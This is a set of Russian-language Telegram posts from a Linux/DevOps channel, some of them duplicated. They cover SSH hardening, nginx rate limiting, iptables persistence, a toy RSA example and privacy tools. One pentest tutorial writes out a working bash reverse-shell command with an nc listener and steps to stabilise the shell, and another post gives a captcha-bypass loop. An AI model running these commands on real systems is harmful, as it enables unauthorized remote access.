Нашел на просторах пиздатый генератор реверс-шелов, разнообразие способов просто зашкаливает.
ㅤ
Мастхевная штука для пентестеров и тех, кто подобными штуками увлекается. Ну и чисто ради любопытства можно просто позырить.
Забирай, пригодится: https://www.revshells.com/
🎄 Ну и еще раз с Наступающим! Нарезали салатиков?
tags: #utilites #linux #security
—
🔔 @bashdays➡️ @gitgate
ㅤ
Мастхевная штука для пентестеров и тех, кто подобными штуками увлекается. Ну и чисто ради любопытства можно просто позырить.
Забирай, пригодится: https://www.revshells.com/
По реверс-шелам у меня есть отдельный пост с подробным мануалом.
🎄 Ну и еще раз с Наступающим! Нарезали салатиков?
tags: #utilites #linux #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
11 74
Еще один частый вопрос с LF — а нужно ли менять дефолтный ssh (22) порт на какой-то другой?
ㅤ
Нет! Ну а нахуя? Сократить в логах количество записей про неудачные попытки подломить твой девственный сервак?
В логи ты ходишь — практически никогда! Тем более там logrotate работает и место диске сильно не забьется.
Предположим ты поменял 22 на 2222. Количество записей в логах «сократилось» и теперь ты ебешься с указанием порта.
Охуеть как удобно! Ты скажешь - дак можно же в
Справедливо. Но зачем жертвовать своим удобством?
У тебя на серверах уже отключен вход по паролю, только ключи, рут тоже запрещен.
Пусть эти писька-боты долбятся и дальше в жопы. Накрайняк воткни fail2ban и устрой им веселую жизу.
Да и боты сейчас умные, если они видят закрытый 22 порт, они сделают
Как не прячься, все равно тебя найдут и насрут в логи.
Получается все манипуляции с портом это бесполезные телодвижения в ущерб удобства.
Соблюдай базовые правила безопасности и всё с твоими серверами будет хорошо.
За всю свою практику я встретил только одну компанию, где меняли 22 порт на какой-то другой, но никакой смысловой нагрузки в этом не было. Так и так эту компанию подломили и спиздили базу данных.
Да, еще был компания, где 22 порт открывался через port knocking. То есть нужно было предварительно стукнуться на 3 определенных порта и если последовательность была соблюдена, то открывался 22 порт.
Ну тоже такое себе решение в ущерб удобства. Любят люди из пушки по воробьям стрелять.
Это как в жизни — мойте руки перед едой. Если соблюдаешь этот базовый принцип, то повышаешь шансы, что твой организм не хакнет кишечная палочка.
Такие дела, изучай!
tags: #devops #ssh #linuxfactory #security
—
🔔 @bashdays➡️ @gitgate
ㅤ
Нет! Ну а нахуя? Сократить в логах количество записей про неудачные попытки подломить твой девственный сервак?
В логи ты ходишь — практически никогда! Тем более там logrotate работает и место диске сильно не забьется.
Предположим ты поменял 22 на 2222. Количество записей в логах «сократилось» и теперь ты ебешься с указанием порта.
ssh -p2222 user@server
Охуеть как удобно! Ты скажешь - дак можно же в
~/.ssh/config все это прописать и всё вернуть на свои места.Host bashdays.ru
HostName bashdays.ru
User user
IdentityFile ~/.ssh/shuba
Port 2222
Справедливо. Но зачем жертвовать своим удобством?
У тебя на серверах уже отключен вход по паролю, только ключи, рут тоже запрещен.
Пусть эти писька-боты долбятся и дальше в жопы. Накрайняк воткни fail2ban и устрой им веселую жизу.
Да и боты сейчас умные, если они видят закрытый 22 порт, они сделают
nmap -Pn, по итогу получат твой 2222 и продолжат долбиться.Как не прячься, все равно тебя найдут и насрут в логи.
Получается все манипуляции с портом это бесполезные телодвижения в ущерб удобства.
Соблюдай базовые правила безопасности и всё с твоими серверами будет хорошо.
- отключи вход по паролю
- перейди на ssh ключи
- запрети вход для рута
За всю свою практику я встретил только одну компанию, где меняли 22 порт на какой-то другой, но никакой смысловой нагрузки в этом не было. Так и так эту компанию подломили и спиздили базу данных.
Да, еще был компания, где 22 порт открывался через port knocking. То есть нужно было предварительно стукнуться на 3 определенных порта и если последовательность была соблюдена, то открывался 22 порт.
Ну тоже такое себе решение в ущерб удобства. Любят люди из пушки по воробьям стрелять.
Это как в жизни — мойте руки перед едой. Если соблюдаешь этот базовый принцип, то повышаешь шансы, что твой организм не хакнет кишечная палочка.
Такие дела, изучай!
tags: #devops #ssh #linuxfactory #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 87
Здрасти мои хорошие!
Рассмотрим ситуацию — злодеи устроили нагрузочное тестирование и натравили на твой ламповый стартап какой-нибудь «яндекс-танк».
ㅤ
😲 Подключить DDosGuard или Кратор!
Эт я пеню, ценник на такие услуги — моё почтение, да и по функционалу там очень даже всё урезано. А cloudflare по регламенту компании запрещен. Замкнутый круг.
Ну так что делать то?
Да блядь nginx затюнить и отбить всю эту хуйню-муйню. Понятно дело оно особо при дидосах не спасет, но со сканерами и «танками» заебись справится.
В nginx есть параметр
Поехали настраивать.
Создаем файл
Для рейта есть такая табличка:
тестируем так:
И смотрим нет ли ошибок 503 Слишком дохуя запросов и корректно ли отрабатывает лимит.
🅰️ 🅰️
Сука! А как рассчитать эту 20m памяти? Щаа…
Пардон, хуйню сморозил, давай на котиках:
То есть, зона
А откуда взялось 128?
Как я написал выше nginx хранит каждого уникального клиента (ключ
Есть такая табличка:
Да, еще можно настроить
Например:
Клиенту разрешается до 400 мгновенных запросов, а затем он попадает в ограничение 200r/s.
Теперь по мапингам и гео хуйне.
В первом блоке про гео:
1. Все пользователи получат
2. Те, кто с
Во втором блоке про мапинг:
1. Если
2. Если
Короче делаем что-то вроде белого списка и кто в него не входит — идёт нахуй! Надеюсь понятно объяснил.
Теперь чтобы вся эта поебота заработала, нужно прописать в нужный локейшен:
Ну а чтобы отдавать нужный статус при достижении лимита, делаем:
Возвращаем 429 Слишком дохуя запросов, вместо стандартного 503.
Бездумно это настраивать не советую, могут пострадать обычные пользователи, а вот если всё вдумчиво сделать — спасешь свой стартап от злых писек.
➡️ Ну и сыпь в комменты свои варианты!
tags: #nginx #devops #security
—
🔔 @bashdays➡️ @gitgate
Рассмотрим ситуацию — злодеи устроили нагрузочное тестирование и натравили на твой ламповый стартап какой-нибудь «яндекс-танк».
ㅤ
Эт я пеню, ценник на такие услуги — моё почтение, да и по функционалу там очень даже всё урезано. А cloudflare по регламенту компании запрещен. Замкнутый круг.
Ну так что делать то?
Да блядь nginx затюнить и отбить всю эту хуйню-муйню. Понятно дело оно особо при дидосах не спасет, но со сканерами и «танками» заебись справится.
В nginx есть параметр
limit_req_zone, он то нам и пригодится. Этот параметр ограничивает количество одновременных запросов с одного айпишника.Поехали настраивать.
Создаем файл
/etc/nginx/conf.d/assholes.confgeo $limited {
default 1;
192.168.1.1 0; # Этот IP не лимитируется
10.0.0.0/24 0; # 10.0.0.0/24 тоже без ограничений
}
map $limited $limit {
1 $binary_remote_addr;
0 "";
}
limit_req_zone $limit zone=bashdays:20m rate=200r/s; limit_req_zone - ключ для отслеживания запросов.$binary_remote_addr - системная переменная nginx, внутри хранит ip адрес клиента.zone=bashdays:20m - произвольное имя зоны, 20m это объём памяти в мегабайтах для хранения данных. В этой зоне хранятся данные о количестве запросов от каждого уникального клиента.rate=200r/s - ограничение равное 200 запросов в секунды с одного ip клиента. Для рейта есть такая табличка:
Сценарий rate burst
-------------------------------------------
API с высокой нагрузкой 100r/s 200
Средний веб-сайт 50r/s 100
Анти-DDoS защита 10r/s 20
CDN или кеширующий прокси 500r/s 1000
тестируем так:
ab -n 1000 -c 50 http://bashdays.ru/
wrk -t4 -c100 -d10s http://bashdays.ru/
И смотрим нет ли ошибок 503 Слишком дохуя запросов и корректно ли отрабатывает лимит.
Сука! А как рассчитать эту 20m памяти? Щаа…
Максимальное количество клиентов = размер зоны в байтах / размерзаписинаклиента
Пардон, хуйню сморозил, давай на котиках:
Пример расчёта для 20m (20 мегабайт = 20 × 1024 × 1024 = 20 971 520 байт):
20 971 520 / 128 = 163 840
То есть, зона
20m может хранить лимиты примерно для 163 тысяч уникальных клиентов одновременно.А откуда взялось 128?
Как я написал выше nginx хранит каждого уникального клиента (ключ
$binary_remote_addr или другое значение) в зоне, используя примерно 128 байт на запись.Есть такая табличка:
< 20 000 = 4m
~80 000 = 10m
~160 000 = 20m
500 000+ = 64m
Да, еще можно настроить
burst для резких пиков. burst позволяет временно превышать rate, прежде чем включится жёсткий лимит.Например:
limit_req zone=bashdays burst=400 nodelay;
Клиенту разрешается до 400 мгновенных запросов, а затем он попадает в ограничение 200r/s.
nodelay означает, что первые 400 запросов проходят сразу, а потом начинается строгий лимит.Теперь по мапингам и гео хуйне.
В первом блоке про гео:
1. Все пользователи получат
$limited = 1 (по умолчанию).2. Те, кто с
192.168.1.1 или из 10.0.0.0/24, получат $limited = 0 и не будут ограничены.Во втором блоке про мапинг:
1. Если
$limited = 1, то $limit = $binary_remote_addr (IP-адрес клиента).2. Если
$limited = 0, то $limit = "", и клиент не попадает в limit_req_zone.
Короче делаем что-то вроде белого списка и кто в него не входит — идёт нахуй! Надеюсь понятно объяснил.
Теперь чтобы вся эта поебота заработала, нужно прописать в нужный локейшен:
location / {
limit_req zone=bashdays burst=10 nodelay;
try_files $uri $uri/ /index.php?$args;
} Про burst и nodelay выше уже рассказывал.
Ну а чтобы отдавать нужный статус при достижении лимита, делаем:
location / {
limit_req_status 429;
limit_req zone=bashdays burst=10 nodelay;
try_files $uri $uri/ /index.php?$args;
}Возвращаем 429 Слишком дохуя запросов, вместо стандартного 503.
Бездумно это настраивать не советую, могут пострадать обычные пользователи, а вот если всё вдумчиво сделать — спасешь свой стартап от злых писек.
tags: #nginx #devops #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
🔥 Скрытые данные в эмодзи/символах
Тут некий деятель Paul Butler, запиздярил штуку, которая позволяет при помощи последовательностей ZWJ (Zero Width Joiner) закодировать в один эмодзи неограниченный объём данных.
ㅤ
Да чо далеко ходить, идем сюды, выбираем эмодзи или букву алфавита, пишем текст который нужно спрятать и готово.
Копируем получившийся эмодзи/символ и отправляем по назначению. На этом же ресурсе можно расшифровать, то что получилось.
Где можно применить?
Ну конечно же поиграться, изобрести что-то своё, попентестить формочки на отказ в ослуживании, либо вставлять метки «жучки», чтобы в случае утечки данных отследить отправителя и получателя.
Тут всё зависит от твоих потребностей и креативных идей. В телеге кстати нормально работает, но при условии если эмодзи отправлен без дополнительного текста и т.п. В других мессенджерах не проверял.
🅰️ 🅰️
➡️ Технический подробности глянуть тут.
➡️ Исходники кодера/декодера на гитхабе.
Надо на Bash такую пепяку сделать, ради прикола.
tags: #security #crypt
—
🔔 @bashdays➡️ @gitgate
Тут некий деятель Paul Butler, запиздярил штуку, которая позволяет при помощи последовательностей ZWJ (Zero Width Joiner) закодировать в один эмодзи неограниченный объём данных.
ㅤ
Да чо далеко ходить, идем сюды, выбираем эмодзи или букву алфавита, пишем текст который нужно спрятать и готово.
Копируем получившийся эмодзи/символ и отправляем по назначению. На этом же ресурсе можно расшифровать, то что получилось.
Unicode представляет текст как последовательность кодовых точек — чисел, которым присвоено определённое значение. Каждая кодовая точка записывается в формате U+XXXX, где XXXX — это шестнадцатеричное число в верхнем регистре.
Для латинских символов каждой кодовой точке соответствует конкретный символ на экране. Например, кодовая точка U+0067 обозначает букву "g".
Однако в некоторых системах письма один видимый символ может состоять из нескольких кодовых точек. Например, символ "की" в деванагари формируется из кодовых точек U+0915 и U+0940, соединённых вместе.
Где можно применить?
Ну конечно же поиграться, изобрести что-то своё, попентестить формочки на отказ в ослуживании, либо вставлять метки «жучки», чтобы в случае утечки данных отследить отправителя и получателя.
Тут всё зависит от твоих потребностей и креативных идей. В телеге кстати нормально работает, но при условии если эмодзи отправлен без дополнительного текста и т.п. В других мессенджерах не проверял.
В комменты закину такой смайлик на потыкать. Перешли себе в Избранное и от туда уже правой мышкой - копировать текст.
Надо на Bash такую пепяку сделать, ради прикола.
tags: #security #crypt
—
Please open Telegram to view this post
VIEW IN TELEGRAM
This media is not supported in your browser
VIEW IN TELEGRAM
Щас бы яблочко куснуть, выпить пива и уснуть
На повестке сегодня проект PDFLinux.
ㅤ
Если коротко, то вот тебе pdf файл, открой его в браузере (на базе Chromium, Firefox) и у тебя загрузится Linux.
Нихуя се! А как так? В PDF файлах обычно размещаются статические документы, но также у pdf формата есть поддержка javascript. Дада, тот самый, который: 1+1=11.
Вот javascript и позволяет всё это проделать, но конечно же с ограничениями.
Проект основан на эмуляторе RISC-V.
Запуск в браузере осуществляется через движок PDFium. А чтобы потыкать в интерактивном режиме, есть виртуальная клавиатура.
Понятно дело это говнище безбожно тормозит, браузерные ограничения и т.п, но концепт прикольный.
Разработчик кстати и Doom запихал в PDF, можно погонять тут.
Исходники и инструкции по сборке доступны в публичной репе на гитхабе.
Посмотри, мож придумаешь где применить.
tags: #linux #security
—
🔔 @bashdays➡️ @gitgate
На повестке сегодня проект PDFLinux.
ㅤ
Если коротко, то вот тебе pdf файл, открой его в браузере (на базе Chromium, Firefox) и у тебя загрузится Linux.
Нихуя се! А как так? В PDF файлах обычно размещаются статические документы, но также у pdf формата есть поддержка javascript. Дада, тот самый, который: 1+1=11.
Вот javascript и позволяет всё это проделать, но конечно же с ограничениями.
Помню в Adobe Acrobat там вот полная поддержка js была, вот это прям была кладезь для экспериментов.
Проект основан на эмуляторе RISC-V.
Запуск в браузере осуществляется через движок PDFium. А чтобы потыкать в интерактивном режиме, есть виртуальная клавиатура.
Понятно дело это говнище безбожно тормозит, браузерные ограничения и т.п, но концепт прикольный.
Пентестеры, берите на вооружение, возможно замутите свою pdf’ку, но уже с полезной нагрузкой.
Уточнение — с полезной, а не деструктивной, у нас не инкубатор черношляпых.
Разработчик кстати и Doom запихал в PDF, можно погонять тут.
Исходники и инструкции по сборке доступны в публичной репе на гитхабе.
Посмотри, мож придумаешь где применить.
tags: #linux #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Привет друзья, наш товарищ
ㅤ
Сюда она естественно не влезла, да и с форматированием тут беда, поэтому пришлось поднять сопроводительный блог для таких целей.
Так что запасаемся кофеём/пивком и камон 👇
➡️ Всё что нужно знать про CrowdSec
tags: #security
—
🔔 @bashdays➡️ @gitgate
Sf1nk5 подготовил внушительную статью про CrowdSec. За что ему объявлена благодарность.CrowdSec — это система защиты от кибератак, которая использует анализ поведения и коллективную защиту. Она похожа на Fail2Ban, но более мощная и современная.
ㅤ
Сюда она естественно не влезла, да и с форматированием тут беда, поэтому пришлось поднять сопроводительный блог для таких целей.
Так что запасаемся кофеём/пивком и камон 👇
tags: #security
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Как работает RSA.
Вся ассиметричная криптография держится на принципе:
ㅤ
Сразу с ума не сходи, сначала душная теория, а потом весёлая практика — на письках. Как ты любишь!
Берем простые числа:
Подставляем в формулу:
Получается:
Открытый ключ:
Закрытый ключ:
😲 Пример на письках
Антон спрашивает у Маши — а сколько сантиметров хуй у Ивана?
Маша знает что у Ивана хуй — 21 сантиметр. Но Маше нужно это сообщить Антону, чтобы Иван не узнал.
Для этого Маше нужно знать открытый ключ Антона.
Берем открытый ключ из предыдущих вычислений
И шифруем хуй Ивана:
Возводим длину хуя Ивана в 691 степень по модулю 779 и получаем число 717.
Теперь Маша передает без палева число 717 Антону.
Антон же с помощью закрытого ключа расшифровывает длину хуя Ивана.
Аналогично возводим в степень по модулю. С помощью математики Антон узнаёт сколько сантиметров хуй у Ивана.
Даже линейка не понадобилась!
Подытожим:
Даже если Иван перехватит такое сообщение, то цифра 717 ему ни о чем не скажет, не может же быть хуй 717 см… хотя у леперов и пикабушников наверное так и есть.
Вот тебе пример на Bash:
В результате получим: 717 и 21. Что и требовалось доказать!
Чуть позже покажу как «ломают» такие ключи и как сгенерить RSA ключ с бэкдором.
Изучай!
🛠 #ssl #security #rsa #crypto
—
✅ @bashdays / @linuxfactory / @blog
Вся ассиметричная криптография держится на принципе:
В одну сторону — быстро, в другую сторону — неразумно и пиздец как долго.
ㅤ
Сразу с ума не сходи, сначала душная теория, а потом весёлая практика — на письках. Как ты любишь!
Берем простые числа:
p = 19
q = 41
Подставляем в формулу:
N=p*q=779ф(N)=(p-1)*(q-1)=720e=691d=571
N = p * q = 779 = это модуль, он используется как часть открытого и закрытого ключей.φ(N) = (p - 1)(q - 1) = 18 * 40 = 720 = функция Эйлера от N, она показывает количество чисел, взаимно простых с N.e = 691 = открытая экспонента, часть публичного ключа. Она должна быть взаимно проста с φ(N).d = 571 = закрытая экспонента, часть приватного ключа. Это мультипликативная обратная величина к e по модулю φ(N) (то есть: (d * e) % φ(N) = 1).Получается:
Открытый ключ:
(e, N) = (691, 779)Закрытый ключ:
(d, N) = (571, 779)Антон спрашивает у Маши — а сколько сантиметров хуй у Ивана?
Маша знает что у Ивана хуй — 21 сантиметр. Но Маше нужно это сообщить Антону, чтобы Иван не узнал.
Для этого Маше нужно знать открытый ключ Антона.
Берем открытый ключ из предыдущих вычислений
(691, 779).И шифруем хуй Ивана:
21^691 mod 779 = 717
Возводим длину хуя Ивана в 691 степень по модулю 779 и получаем число 717.
Теперь Маша передает без палева число 717 Антону.
Антон же с помощью закрытого ключа расшифровывает длину хуя Ивана.
717^571 mod 779 = 21
Аналогично возводим в степень по модулю. С помощью математики Антон узнаёт сколько сантиметров хуй у Ивана.
Даже линейка не понадобилась!
Подытожим:
Даже если Иван перехватит такое сообщение, то цифра 717 ему ни о чем не скажет, не может же быть хуй 717 см… хотя у леперов и пикабушников наверное так и есть.
Вот тебе пример на Bash:
#!/bin/bash
# Исходные данные
m=21
e=691
d=571
n=779
# Шифруем: c = m^e mod n
c=$(echo "$m ^ $e % $n" | bc)
echo "Зашифрованное сообщение: $c"
# Расшифровываем: m = c^d mod n
decrypted=$(echo "$c ^ $d % $n" | bc)
echo "Расшифрованное сообщение: $decrypted"
В результате получим: 717 и 21. Что и требовалось доказать!
В этот скрипт можешь подставить исходные данные своего прибора и результаты скинуть пиэму.
Чуть позже покажу как «ломают» такие ключи и как сгенерить RSA ключ с бэкдором.
Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 123
Внедряем бэкдор в RSA
Здарова и с внеплановой пятницей!
Накидал тебе пост с практическим кодом, как внедряют дополнительную дырку в очко. В телегу оно сука не влезло, поэтому закинул в блог. А как работает RSA я разжевал тут.
Читать чтиво 👇
https://blog.bashdays.ru/vnedryaem-bekdor-v-rsa-klyuch/
Комменты можешь оставлять к этому посту, мож чё дельное напишешь.
🛠 #ssl #security #rsa #crypto
—
✅ @bashdays / @linuxfactory / @blog
Здарова и с внеплановой пятницей!
Накидал тебе пост с практическим кодом, как внедряют дополнительную дырку в очко. В телегу оно сука не влезло, поэтому закинул в блог. А как работает RSA я разжевал тут.
Читать чтиво 👇
https://blog.bashdays.ru/vnedryaem-bekdor-v-rsa-klyuch/
Комменты можешь оставлять к этому посту, мож чё дельное напишешь.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 54
Вечный вопрос — как сохранить правила iptables?
ㅤ
Вот навтыкал ты всяких безумных правил и цепочек через командную строку, радуешься. А после ребута все твои поделки к хуям улетучиваются.
И каждый раз ты идешь гуглить, как это решить. Жиза. Каждый раз, как в первый раз.
А делается всё просто, двумя командами:
Ладно, спиздел, нужно еще доставить:
Эта хуёвина автоматом создает файлы
А если у тебя длинный писюн, можно и от первых двух команд избавиться.
😀 😃 😄 😁 😅 😂 🤣 😊
😇 🙂 🙃 😉 😌 😍 🥰 😘
😗 😙 😚 😋 😛 😝 😜 🤪
🤨 🧐 🤓 😎 🤩 🥳 😏 😒
Просто открываешь напрямую файл
После этого не забываем дёрнуть слона за хобот:
Либо по старинке, добавляешь правила через терминал и затем делаешь:
Но в этом случае файлы
Саммари
1. Ставим
2. Пиздярим правила в терминале
3. Применяем
Как делаю я? У меня писюн длинный, поэтому сразу вношу все необходимое руками в
Такие дела, изучай.
🛠 #linux #security #iptables
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
ㅤ
Вот навтыкал ты всяких безумных правил и цепочек через командную строку, радуешься. А после ребута все твои поделки к хуям улетучиваются.
И каждый раз ты идешь гуглить, как это решить. Жиза. Каждый раз, как в первый раз.
А делается всё просто, двумя командами:
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6
Ладно, спиздел, нужно еще доставить:
sudo apt install iptables-persistent
Эта хуёвина автоматом создает файлы
/etc/iptables/rules.v4, /etc/iptables/rules.v6 и будет применять их при загрузке.А если у тебя длинный писюн, можно и от первых двух команд избавиться.
Просто открываешь напрямую файл
rules.v4/rules.v6 и прописываешь туда все свои хотелки. После этого не забываем дёрнуть слона за хобот:
systemctl restart netfilter-persistent
Либо по старинке, добавляешь правила через терминал и затем делаешь:
sudo netfilter-persistent save
Но в этом случае файлы
rules.v4/rules.v6 будут перезатерты, имей это ввиду если лез в них своими руками.Саммари
1. Ставим
iptables-persistent2. Пиздярим правила в терминале
3. Применяем
netfilter-persistent saveКак делаю я? У меня писюн длинный, поэтому сразу вношу все необходимое руками в
rules.v4/rules.v6, хотя это не есть бест-практика, не делай так.Такие дела, изучай.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 66
Вчера в посте я упомянул конфиги
ㅤ
Давай посмотрим что в других дистрибутивах происходит.
Debian / Ubuntu
Основной пакет → iptables-persistent / netfilter-persistent
RHEL / CentOS / Rocky / Alma (iptables-services)
Fedora (новые версии)
По умолчанию использует firewalld (поверх nftables). Если ставишь iptables-services:
Arch Linux / Manjaro
Из коробки iptables не сохраняет правила, обычно юзеры делают сами:
OpenSUSE / SLES
По умолчанию тоже firewalld, если ставить пакет iptables, правила обычно хранят в:
Astra Linux (Смоленск, Орёл и др. редакции)
Астра базируется на Debian, поэтому у неё схема как у Debian/Ubuntu:
РЕД ОС (RedOS)
RedOS базируется на RHEL/CentOS, поэтому там всё по «редхэту»:
Вроде основное осветил, если что-то проебал, забыл, затроил — пиши в комменты, поправим.
А вообще при возможности пользуйся облачным фаерволом, если страшно конфигурять iptables или руки растут из жопы.
🛠 #linux #security #iptables
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
iptables лишь для части дистрибутивов, Alex эту ситуацию в комментариях подметил верно.ㅤ
Давай посмотрим что в других дистрибутивах происходит.
Debian / Ubuntu
Основной пакет → iptables-persistent / netfilter-persistent
/etc/iptables/rules.v4
/etc/iptables/rules.v6
RHEL / CentOS / Rocky / Alma (iptables-services)
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Fedora (новые версии)
По умолчанию использует firewalld (поверх nftables). Если ставишь iptables-services:
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Arch Linux / Manjaro
Из коробки iptables не сохраняет правила, обычно юзеры делают сами:
/etc/iptables/iptables.rules
/etc/iptables/ip6tables.rules
OpenSUSE / SLES
По умолчанию тоже firewalld, если ставить пакет iptables, правила обычно хранят в:
/etc/sysconfig/iptables
Astra Linux (Смоленск, Орёл и др. редакции)
Астра базируется на Debian, поэтому у неё схема как у Debian/Ubuntu:
/etc/iptables/rules.v4
/etc/iptables/rules.v6
РЕД ОС (RedOS)
RedOS базируется на RHEL/CentOS, поэтому там всё по «редхэту»:
/etc/sysconfig/iptables
/etc/sysconfig/ip6tables
Вроде основное осветил, если что-то проебал, забыл, затроил — пиши в комменты, поправим.
А вообще при возможности пользуйся облачным фаерволом, если страшно конфигурять iptables или руки растут из жопы.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Как прокачать Minecraft сервер с помощью Angie
Накидал пост о том, как мы мигрировали minecraft сервер на выделенный сервер и защитились от ботов с помощью Angie, просто и эффективно.
Сюда по классике не влезло, всё в блоге 👇
Читать: https://two.su/bieb4
🛠 #angie #devops #security
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Накидал пост о том, как мы мигрировали minecraft сервер на выделенный сервер и защитились от ботов с помощью Angie, просто и эффективно.
Сюда по классике не влезло, всё в блоге 👇
Читать: https://two.su/bieb4
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 50
Я тут это, капчу накрутил. Создавал под один нищенский нишевый проект.
😲 Сможешь пройти?
ㅤ
Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в
Концепт на Bash:
Всем хорошей рабочей недели!
🛠 #security #feature #dev
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в
xdotool. Ну либо клавиатуру купить как на картинке.Концепт на Bash:
for i in $(seq 1 50); do
xdotool key F24
sleep 1
done
Всем хорошей рабочей недели!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
5 69
Стабилизация реверс-шелла
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
Этой командой мы откроем порт
Теперь на подопытной машине запускаем:
Возвращаемся на свою машину и видим, что коннект произошел:
Отлично. Пробуем нажать
Стабилизируем shell
Отправляем консоль в бекграунд, нажимаем
Возвращаемся:
Нажимаем:
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
🛠 #security #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
nc -lvnp 2288
Этой командой мы откроем порт
2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.Теперь на подопытной машине запускаем:
/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1
Возвращаемся на свою машину и видим, что коннект произошел:
root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#
Отлично. Пробуем нажать
CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.Стабилизируем shell
script /dev/null -c /bin/bash
Отправляем консоль в бекграунд, нажимаем
CTRL+Zroot@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288
Возвращаемся:
stty raw -echo; fg
Нажимаем:
ENTERexport TERM=xterm
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 64
Интимность данных
Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.
ㅤ
В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.
Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.
Ебала рыба озеро!😲
Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.
Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.
Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.
Что внутри:
- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.
Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.
Пользуйся на здоровье, это лучше всяких бинарных твиков!
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.
ㅤ
В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.
Как говорил мой знакомый — да кому мы нужны, все наши данные давно уже гуляют по сети. Но когда он узнал, что гугол взял его учетку (со всем содержимым и метаданными) и просто отдал третьим лицам на изучение — начинаешь задумываться, причем становится по настоящему жутковато.
Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.
Ебала рыба озеро!
Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.
